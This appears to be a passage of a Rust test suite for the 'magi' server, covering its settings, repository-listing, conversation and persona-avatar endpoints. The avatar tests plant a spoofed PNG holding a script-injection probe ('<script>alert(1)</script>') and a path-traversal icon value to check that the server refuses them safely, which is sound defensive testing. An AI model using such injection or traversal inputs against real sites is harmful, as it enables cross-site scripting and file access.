9719        let root = tmp.path().join("roots");
9720        let selected = root.join("host/owner/selected");
9721        settings_checkout(
9722            &selected,
9723            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
9724        )
9725        .await;
9726        let broken = root.join("host/owner/broken");
9727        settings_checkout(&broken, "[roles\nbroken").await;
9728        let machine_text = format!(
9729            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
9730            toml::Value::String(root.display().to_string())
9731        );
9732        std::fs::write(&machine, &machine_text).unwrap();
9733        let originals: Vec<_> = [&repo, &selected, &broken]
9734            .iter()
9735            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
9736            .collect();
9737        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9738        let default = f.get("/api/settings").await.json();
9739        assert_eq!(
9740            default["repo"],
9741            repo.canonicalize().unwrap().display().to_string()
9742        );
9743        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
9744        let query = format!("?repo={}", selected.display());
9745        let res = f.get(&format!("/api/settings{query}")).await;
9746        assert_eq!(res.status, 200, "{}", res.body);
9747        let v = res.json();
9748        assert!(v["error"].is_null(), "{v}");
9749        assert_eq!(v["repositories"], default["repositories"]);
9750        let role = |key: &str| {
9751            v["roles"]
9752                .as_array()
9753                .unwrap()
9754                .iter()
9755                .find(|r| r["key"] == key)
9756                .unwrap()
9757        };
9758        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
9759        assert_eq!(role("advisors")["source"], "repo");
9760        assert_eq!(role("advisors")["editable"], false);
9761        assert!(role("advisors")["machine_value"].is_null());
9762        assert_eq!(role("judges")["count"]["value"], 2);
9763        assert_eq!(role("judges")["count"]["machine_value"], 1);
9764        assert_eq!(role("judges")["count"]["source"], "repo");
9765        let source = role("judges")["count"]["source_path"].as_str().unwrap();
9766        assert!(
9767            source.contains("origin/main") && !source.contains("magi/config/"),
9768            "{source}"
9769        );
9770        assert_eq!(
9771            role("reviewers")["editable"],
9772            false,
9773            "default context outside roots must protect its declarations"
9774        );
9775        let body =
9776            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
9777        let unknown = format!("?repo={}", tmp.path().display());
9778        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
9779        assert_eq!(
9780            f.put(&format!("/api/settings/roles{unknown}"), &body)
9781                .await
9782                .status,
9783            422
9784        );
9785        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
9786        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
9787            .to_string();
9788        assert_eq!(
9789            f.put(&format!("/api/settings/roles{query}"), &refuse)
9790                .await
9791                .status,
9792            422
9793        );
9794        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
9795        assert_eq!(saved.status, 200, "{}", saved.body);
9796        assert_eq!(saved.json()["repo"], v["repo"]);
9797        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9798        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9799        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
9800            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
9801        }
9802        let error = f
9803            .get(&format!("/api/settings?repo={}", broken.display()))
9804            .await;
9805        assert_eq!(error.status, 200);
9806        assert!(error.json()["error"]["message"].is_string());
9807        assert_eq!(error.json()["repositories"], default["repositories"]);
9808    }
9809
9810    #[tokio::test]
9811    async fn settings_get_reports_sources_and_the_advisors_fallback() {
9812        let (_tmp, repo, machine) =
9813            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9814        let f = Fixture::with_repo_and_machine(repo, machine).await;
9815        let res = f.get("/api/settings").await;
9816        assert_eq!(res.status, 200, "{}", res.body);
9817        let v = res.json();
9818        assert!(v["error"].is_null(), "{v}");
9819        let role = |k: &str| {
9820            v["roles"]
9821                .as_array()
9822                .and_then(|r| r.iter().find(|x| x["key"] == k))
9823                .cloned()
9824                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9825        };
9826        assert_eq!(role("judges")["source"], "machine");
9827        assert_eq!(role("judges")["editable"], true);
9828        assert_eq!(role("implementers")["source"], "default");
9829        let adv = role("advisors");
9830        assert_eq!(adv["fallback"], "judges");
9831        assert!(
9832            adv["seats"]
9833                .as_array()
9834                .is_some_and(|s| s.iter().all(|x| x == "b")),
9835            "{adv}"
9836        );
9837        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9838        assert_eq!(v["agents"][0]["source"], "repo");
9839    }
9840
9841    #[tokio::test]
9842    async fn settings_get_reports_a_config_that_does_not_parse() {
9843        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9844        let f = Fixture::with_repo_and_machine(repo, machine).await;
9845        let res = f.get("/api/settings").await;
9846        assert_eq!(res.status, 200, "{}", res.body);
9847        let v = res.json();
9848        assert!(v["error"]["message"].is_string(), "{v}");
9849        assert!(
9850            v["error"]["path"]
9851                .as_str()
9852                .is_some_and(|p| p.ends_with("magi.toml")),
9853            "{v}"
9854        );
9855        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9856    }
9857
9858    #[tokio::test]
9859    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9860        let (_tmp, repo, machine) = settings_dirs(
9861            SETTINGS_AGENTS,
9862            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
9863        );
9864        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9865        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9866        let rev = f.get("/api/settings").await.json()["revision"]
9867            .as_str()
9868            .expect("revision")
9869            .to_owned();
9870        let body = serde_json::json!({
9871            "revision": rev,
9872            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9873        })
9874        .to_string();
9875        let res = f.put("/api/settings/roles", &body).await;
9876        assert_eq!(res.status, 200, "{}", res.body);
9877        let text = std::fs::read_to_string(&machine).expect("machine");
9878        assert_eq!(
9879            text,
9880            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9881        );
9882        assert_eq!(
9883            std::fs::read(repo.join("magi.toml")).expect("read"),
9884            repo_before
9885        );
9886        let again = f.get("/api/settings").await.json();
9887        let judges = again["roles"]
9888            .as_array()
9889            .expect("roles")
9890            .iter()
9891            .find(|r| r["key"] == "judges")
9892            .expect("judges")
9893            .clone();
9894        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9895        // The old revision is now stale.
9896        let stale = f.put("/api/settings/roles", &body).await;
9897        assert_eq!(stale.status, 409, "{}", stale.body);
9898    }
9899
9900    #[tokio::test]
9901    async fn settings_counts_are_reported_and_saved() {
9902        let (_tmp, repo, machine) = settings_dirs(
9903            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9904            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9905        );
9906        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9907        let v = f.get("/api/settings").await.json();
9908        let count = |v: &serde_json::Value, k: &str| {
9909            v["roles"]
9910                .as_array()
9911                .and_then(|r| r.iter().find(|x| x["key"] == k))
9912                .map(|x| x["count"].clone())
9913                .unwrap_or_else(|| panic!("no role {k}: {v}"))
9914        };
9915        let imp = count(&v, "implementers");
9916        assert_eq!(imp["value"], 2);
9917        assert_eq!(imp["source"], "machine");
9918        assert_eq!(imp["file_key"], "candidates");
9919        assert_eq!(imp["roster_len"], 2);
9920        assert_eq!(imp["backups"], 0);
9921        assert_eq!(count(&v, "judges")["source"], "default");
9922        assert_eq!(count(&v, "advisors")["min"], 0);
9923        assert_eq!(count(&v, "reviewers")["editable"], false);
9924        assert!(
9925            count(&v, "reviewers")["locked_reason"]
9926                .as_str()
9927                .is_some_and(|m| m.contains("graph.reviewers"))
9928        );
9929        assert!(count(&v, "fixer").is_null());
9930        let rev = v["revision"].as_str().expect("revision").to_owned();
9931        let body = serde_json::json!({
9932            "revision": rev,
9933            "roles": { "judges": ["b"] },
9934            "counts": { "implementers": 1, "advisors": 0 }
9935        })
9936        .to_string();
9937        let res = f.put("/api/settings/roles", &body).await;
9938        assert_eq!(res.status, 200, "{}", res.body);
9939        let text = std::fs::read_to_string(&machine).expect("machine");
9940        assert_eq!(
9941            text,
9942            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9943        );
9944        let after = f.get("/api/settings").await.json();
9945        assert_eq!(count(&after, "implementers")["value"], 1);
9946        assert_eq!(count(&after, "implementers")["backups"], 1);
9947        assert_eq!(count(&after, "advisors")["value"], 0);
9948        let before = std::fs::read_to_string(&machine).expect("machine");
9949        let rev = after["revision"].as_str().expect("revision").to_owned();
9950        for counts in [
9951            serde_json::json!({ "judges": 0 }),
9952            serde_json::json!({ "judges": "x" }),
9953            serde_json::json!({ "judges": 2.5 }),
9954            serde_json::json!({ "judges": -1 }),
9955            serde_json::json!({ "reviewers": 3 }),
9956            serde_json::json!({ "bogus": 3 }),
9957        ] {
9958            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9959            let res = f.put("/api/settings/roles", &body).await;
9960            assert_eq!(res.status, 422, "{counts}: {}", res.body);
9961            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9962        }
9963    }
9964
9965    #[tokio::test]
9966    async fn settings_put_refuses_without_touching_the_file() {
9967        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
9968        let (_tmp, repo, machine) = settings_dirs(
9969            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
9970            Some(machine_text),
9971        );
9972        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9973        let rev = f.get("/api/settings").await.json()["revision"]
9974            .as_str()
9975            .expect("revision")
9976            .to_owned();
9977        for roles in [
9978            serde_json::json!({ "judges": ["nope"] }),
9979            serde_json::json!({ "reviewers": ["b"] }),
9980            serde_json::json!({ "bogus": ["a"] }),
9981        ] {
9982            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
9983            let res = f.put("/api/settings/roles", &body).await;
9984            assert_eq!(res.status, 422, "{roles}: {}", res.body);
9985            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
9986            assert_eq!(
9987                std::fs::read_to_string(&machine).expect("machine"),
9988                machine_text
9989            );
9990        }
9991    }
9992
9993    #[tokio::test]
9994    async fn repos_list_returns_name_and_path_for_every_configured_root() {
9995        let tmp = TempDir::new().expect("tempdir");
9996        let repo = tmp.path().join("repo");
9997        std::fs::create_dir_all(&repo).expect("repo dir");
9998        let root = tmp.path().join("root");
9999        make_checkout(&root, "github.com", "yukimemi", "magi");
10000        std::fs::write(
10001            repo.join("magi.toml"),
10002            format!(
10003                "[repos]\nroots = [{:?}]\n",
10004                root.to_string_lossy().into_owned()
10005            ),
10006        )
10007        .expect("write magi.toml");
10008
10009        let f = Fixture::with_repo(repo).await;
10010        let res = f.get("/api/repos").await;
10011        assert_eq!(res.status, 200, "{}", res.body);
10012        let list = res.json();
10013        let repos = list.as_array().expect("an array");
10014        assert_eq!(repos.len(), 1);
10015        assert_eq!(repos[0]["name"], "yukimemi/magi");
10016        assert!(
10017            repos[0]["path"]
10018                .as_str()
10019                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10020            "{list}"
10021        );
10022    }
10023
10024    #[tokio::test]
10025    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10026        let tmp = TempDir::new().expect("tempdir");
10027        let repo = tmp.path().join("repo");
10028        std::fs::create_dir_all(&repo).expect("repo dir");
10029        let root = tmp.path().join("root");
10030        make_checkout(&root, "github.com", "yukimemi", "magi");
10031        std::fs::write(
10032            repo.join("magi.toml"),
10033            format!(
10034                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10035                root.to_string_lossy().into_owned()
10036            ),
10037        )
10038        .expect("write magi.toml");
10039
10040        let f = Fixture::with_repo(repo).await;
10041        let first = f.get("/api/repos").await;
10042        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10043
10044        // A second checkout appears; within the TTL the cached answer must
10045        // not notice it.
10046        make_checkout(&root, "github.com", "yukimemi", "rvpm");
10047        let second = f.get("/api/repos").await;
10048        assert_eq!(
10049            second.json().as_array().map(Vec::len),
10050            Some(1),
10051            "a fresh cache must not rescan inside the TTL"
10052        );
10053
10054        let refreshed = f.get("/api/repos?refresh=1").await;
10055        assert_eq!(
10056            refreshed.json().as_array().map(Vec::len),
10057            Some(2),
10058            "an explicit refresh must rescan even inside the TTL"
10059        );
10060    }
10061
10062    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
10063    /// string, declared straight in a repository's own `magi.toml` rather
10064    /// than the operator's real roster. No real agent CLI is spawned - `sh`
10065    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
10066    /// this is safe to run over a real HTTP round trip.
10067    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10068
10069    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
10070    /// real `Config::discover` to find an agent - `talk::begin` resolves one
10071    /// even though it takes no turn, and `talk_say` invokes one.
10072    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10073        let tmp = TempDir::new().expect("tempdir");
10074        let repo = tmp.path().join("repo");
10075        std::fs::create_dir_all(&repo).expect("repo dir");
10076        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10077        let f = Fixture::with_repo(repo.clone()).await;
10078        (tmp, repo, f)
10079    }
10080
10081    #[tokio::test]
10082    async fn posting_a_talk_with_remembered_choices_is_soft() {
10083        let (_tmp, _repo, f) = talk_fixture().await;
10084
10085        let good = f
10086            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10087            .await;
10088        assert_eq!(good.status, 201, "{}", good.body);
10089        assert_eq!(good.json()["persona"], "rei");
10090
10091        // Wrong values and wrong types are dropped one by one, never a 4xx.
10092        let stale = f
10093            .post(
10094                "/api/talks",
10095                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10096            )
10097            .await;
10098        assert_eq!(stale.status, 201, "{}", stale.body);
10099        let v = stale.json();
10100        assert_eq!(v["implementers"], 1);
10101        assert_ne!(v["persona"], "nobody");
10102        let typed = f
10103            .post(
10104                "/api/talks",
10105                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10106            )
10107            .await;
10108        assert_eq!(typed.status, 201, "{}", typed.body);
10109
10110        // The strict `agent` field still refuses an unknown id.
10111        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10112        assert!(
10113            !strict.status.to_string().starts_with('2'),
10114            "{}",
10115            strict.body
10116        );
10117    }
10118
10119    #[tokio::test]
10120    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10121        let (_tmp, _repo, f) = talk_fixture().await;
10122
10123        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
10124        // is the ordinary way a phone opens a talk.
10125        let opened = f.post("/api/talks", None).await;
10126        assert_eq!(opened.status, 201, "{}", opened.body);
10127        let body = opened.json();
10128        assert_eq!(body["status"], "open");
10129        assert_eq!(
10130            body["turns"].as_array().unwrap().len(),
10131            0,
10132            "opening takes no agent turn: there is nothing yet to answer"
10133        );
10134
10135        // An explicit empty object is the same request as none at all.
10136        let also_opened = f.post("/api/talks", Some("{}")).await;
10137        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10138
10139        let listed = f.get("/api/talks").await.json();
10140        assert_eq!(listed.as_array().unwrap().len(), 2);
10141    }
10142
10143    #[tokio::test]
10144    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10145        let tmp = TempDir::new().expect("tempdir");
10146        let repo = tmp.path().join("repo");
10147        std::fs::create_dir_all(&repo).expect("repo dir");
10148        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10149        std::fs::write(
10150            repo.join("magi.toml"),
10151            format!("{MOCK_AGENT_TOML}\n{second}"),
10152        )
10153        .expect("write magi.toml");
10154        let home = TempDir::new().expect("temp home");
10155        let talks = Talks::at(home.path().join("talks"));
10156        let ui = Arc::new(
10157            Ui::new(
10158                Queue::at(home.path().join("queue")),
10159                Questions::at(home.path().join("questions")),
10160                talks.clone(),
10161                home.path().join("runs"),
10162                home.path().to_path_buf(),
10163                repo.clone(),
10164            )
10165            .with_worktrees_root(home.path().join("wt")),
10166        );
10167        let cfg = config_for(&repo).await.expect("discover config");
10168        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10169        let id = talk.id.clone();
10170        let call = |agent: &str| {
10171            talk_agent(
10172                State(Arc::clone(&ui)),
10173                Path(id.clone()),
10174                Json(TalkAgent {
10175                    agent: agent.to_owned(),
10176                }),
10177            )
10178        };
10179
10180        let unknown = call("nobody").await.expect_err("unknown agent");
10181        assert_eq!(
10182            unknown.status,
10183            StatusCode::BAD_REQUEST,
10184            "{}",
10185            unknown.message
10186        );
10187
10188        {
10189            // Nothing refused so far took a claim, so the guard is free to take
10190            // and holding it is what makes the talk busy.
10191            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10192            let busy = call("second").await.expect_err("busy talk");
10193            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10194            assert!(
10195                busy.message.contains("a talk turn is running"),
10196                "{}",
10197                busy.message
10198            );
10199            drop(guard);
10200        }
10201        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10202
10203        let Json(view) = call("second").await.expect("switch");
10204        assert_eq!(view.talk.agent, "second");
10205        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10206        let saved = talks.get(&id).expect("reload");
10207        assert_eq!(saved.agent, "second");
10208        assert_eq!(saved.turns.len(), 1);
10209        assert!(!view.thinking);
10210        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10211        for agent in ["mock", "second"] {
10212            let Json(view) = call(agent).await.expect("immediate consecutive change");
10213            assert_eq!(view.talk.agent, agent);
10214            assert!(!view.thinking);
10215            assert!(!ui.is_thinking(&id));
10216        }
10217
10218        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10219            .await
10220            .expect("detail");
10221        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10222        assert_eq!(roster, ["mock", "second"]);
10223
10224        let mut closed = talks.get(&id).expect("reload");
10225        talk::close(&mut closed, &talks).expect("close");
10226        let refused = call("mock").await.expect_err("closed talk");
10227        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10228        assert!(
10229            refused.message.contains("takes no more turns"),
10230            "{}",
10231            refused.message
10232        );
10233    }
10234
10235    #[tokio::test]
10236    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10237        let tmp = TempDir::new().expect("tempdir");
10238        let repo = tmp.path().join("repo");
10239        std::fs::create_dir_all(&repo).expect("repo dir");
10240        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10241        let home = TempDir::new().expect("temp home");
10242        let talks = Talks::at(home.path().join("talks"));
10243        let ui = Arc::new(
10244            Ui::new(
10245                Queue::at(home.path().join("queue")),
10246                Questions::at(home.path().join("questions")),
10247                talks.clone(),
10248                home.path().join("runs"),
10249                home.path().to_path_buf(),
10250                repo.clone(),
10251            )
10252            .with_worktrees_root(home.path().join("wt")),
10253        );
10254        let cfg = config_for(&repo).await.expect("discover config");
10255        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10256        let id = talk.id.clone();
10257        let call = |n: u8| {
10258            talk_implementers(
10259                State(Arc::clone(&ui)),
10260                Path(id.clone()),
10261                Json(TalkImplementers { implementers: n }),
10262            )
10263        };
10264
10265        for bad in [0u8, 4] {
10266            let e = call(bad).await.expect_err("out of range");
10267            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10268        }
10269        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10270
10271        {
10272            // Nothing refused so far took a claim, so the guard is free to take
10273            // and holding it is what makes the talk busy.
10274            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10275            let busy = call(2).await.expect_err("busy talk");
10276            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10277            assert!(
10278                busy.message.contains("a talk turn is running"),
10279                "{}",
10280                busy.message
10281            );
10282            drop(guard);
10283        }
10284
10285        let Json(view) = call(3).await.expect("switch");
10286        assert_eq!(view.talk.implementers, 3);
10287        assert!(talks.get(&id).expect("reload").implementers_dirty);
10288        assert!(!view.thinking);
10289        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10290        for n in [1, 2, 3] {
10291            let Json(view) = call(n).await.expect("immediate consecutive change");
10292            assert_eq!(view.talk.implementers, n);
10293            assert!(!view.thinking);
10294            assert!(!ui.is_thinking(&id));
10295        }
10296
10297        let mut closed = talks.get(&id).expect("reload");
10298        talk::close(&mut closed, &talks).expect("close");
10299        let e = call(2).await.expect_err("closed talk");
10300        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10301        assert!(e.message.contains("takes no more turns"), "{}", e.message);
10302    }
10303
10304    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
10305    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10306        let tmp = TempDir::new().expect("tempdir");
10307        let repo = tmp.path().join("repo");
10308        std::fs::create_dir_all(&repo).expect("repo dir");
10309        std::fs::write(
10310            repo.join("magi.toml"),
10311            format!("{MOCK_AGENT_TOML}\n{extra}"),
10312        )
10313        .expect("write magi.toml");
10314        let home = TempDir::new().expect("temp home");
10315        let talks = Talks::at(home.path().join("talks"));
10316        let ui = Arc::new(
10317            Ui::new(
10318                Queue::at(home.path().join("queue")),
10319                Questions::at(home.path().join("questions")),
10320                talks.clone(),
10321                home.path().join("runs"),
10322                home.path().to_path_buf(),
10323                repo.clone(),
10324            )
10325            .with_worktrees_root(home.path().join("wt")),
10326        );
10327        let cfg = config_for(&repo).await.expect("discover config");
10328        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10329        (tmp, home, ui, talk.id, repo)
10330    }
10331
10332    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
10333    async fn avatar(
10334        ui: &Arc<Ui>,
10335        id: &str,
10336        persona: Option<&str>,
10337        builtin: bool,
10338    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10339        let res = talk_avatar(
10340            State(Arc::clone(ui)),
10341            Path(id.to_owned()),
10342            Query(AvatarQuery {
10343                persona: persona.map(str::to_owned),
10344                builtin: builtin.then(|| "1".to_owned()),
10345            }),
10346        )
10347        .await
10348        .expect("an avatar is never an error response");
10349        let h = res.headers();
10350        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10351        let nosniff = h
10352            .get(header::X_CONTENT_TYPE_OPTIONS)
10353            .is_some_and(|v| v == "nosniff");
10354        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10355        let status = res.status();
10356        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10357            .await
10358            .expect("body")
10359            .to_vec();
10360        (status, ct, nosniff, csp, body)
10361    }
10362
10363    fn tiny_png() -> Vec<u8> {
10364        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10365        b.extend_from_slice(&[0u8; 32]);
10366        b
10367    }
10368
10369    #[tokio::test]
10370    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10371        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10372        for p in [
10373            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10374        ] {
10375            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10376            assert_eq!(status, StatusCode::OK, "{p}");
10377            assert_eq!(ct, "image/svg+xml", "{p}");
10378            assert!(nosniff && csp, "{p}");
10379            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10380        }
10381        // No `persona` means the conversation's own; unknown ones fall back.
10382        let own = avatar(&ui, &id, None, false).await;
10383        let default = avatar(&ui, &id, Some("default"), false).await;
10384        assert_eq!(own.4, default.4);
10385        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10386        assert_eq!(unknown.1, "image/svg+xml");
10387    }
10388
10389    #[tokio::test]
10390    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10391        let dir = TempDir::new().expect("icons");
10392        let good = dir.path().join("good.png");
10393        std::fs::write(&good, tiny_png()).unwrap();
10394        let spoof = dir.path().join("spoof.png");
10395        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10396        let big = dir.path().join("big.png");
10397        let mut bytes = tiny_png();
10398        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10399        std::fs::write(&big, bytes).unwrap();
10400        let missing = dir.path().join("missing.png");
10401        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10402        let extra = format!(
10403            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10404             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10405             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10406             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10407             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10408             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10409            uri(&good),
10410            uri(&spoof),
10411            uri(&big),
10412            uri(&missing),
10413        );
10414        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10415
10416        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10417        assert_eq!(
10418            (status, ct.as_str(), nosniff),
10419            (StatusCode::OK, "image/png", true)
10420        );
10421        assert_eq!(body, tiny_png());
10422        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10423        assert_eq!(ct, "image/png", "data URI");
10424
10425        for p in ["misato", "asuka", "shinji", "magi"] {
10426            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10427            assert_eq!(
10428                (status, ct.as_str(), csp),
10429                (StatusCode::OK, "image/svg+xml", true),
10430                "{p}"
10431            );
10432            assert!(body.starts_with(b"<svg"), "{p}");
10433        }
10434        // The page's own retry skips the icon.
10435        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10436        assert_eq!(ct, "image/svg+xml");
10437    }
10438
10439    #[tokio::test]
10440    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10441        let oversized = format!(
10442            "data:image/png;base64,{}",
10443            "A".repeat(persona_icon::ICON_MAX_BYTES)
10444        );
10445        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10446            let extra = format!(
10447                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10448            );
10449            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10450            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10451                .await
10452                .expect("detail with invalid icon");
10453            assert!(detail.personas.iter().any(|p| p.id == "custom"));
10454            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10455            assert_eq!(status, StatusCode::OK);
10456            assert_eq!(ct, "image/svg+xml");
10457            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10458            let Json(view) = talk_persona(
10459                State(Arc::clone(&ui)),
10460                Path(id.clone()),
10461                Json(TalkPersona {
10462                    persona: "custom".into(),
10463                }),
10464            )
10465            .await
10466            .expect("persona switch with invalid icon");
10467            assert_eq!(view.talk.persona, "custom");
10468            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10469        }
10470    }
10471
10472    #[tokio::test]
10473    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10474        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10475        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10476        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10477        assert_eq!(
10478            (status, ct.as_str(), nosniff, csp),
10479            (StatusCode::OK, "image/svg+xml", true, true)
10480        );
10481    }
10482
10483    #[tokio::test]
10484    async fn the_talk_view_carries_server_built_avatar_urls_only() {
10485        let (_t, _h, ui, id, _repo) =
10486            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10487        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10488            .await
10489            .expect("detail");
10490        let json = serde_json::to_string(&detail).unwrap();
10491        assert!(
10492            !json.contains("secret"),
10493            "the icon setting must not leak: {json}"
10494        );
10495        assert!(
10496            detail
10497                .view
10498                .persona_avatar
10499                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10500        );
10501        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10502        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10503        assert!(rei.avatar.contains("persona=rei&v="));
10504        assert_ne!(
10505            rei.avatar.split("&v=").nth(1),
10506            plain.avatar.split("&v=").nth(1)
10507        );
10508    }
10509
10510    #[tokio::test]
10511    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10512        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
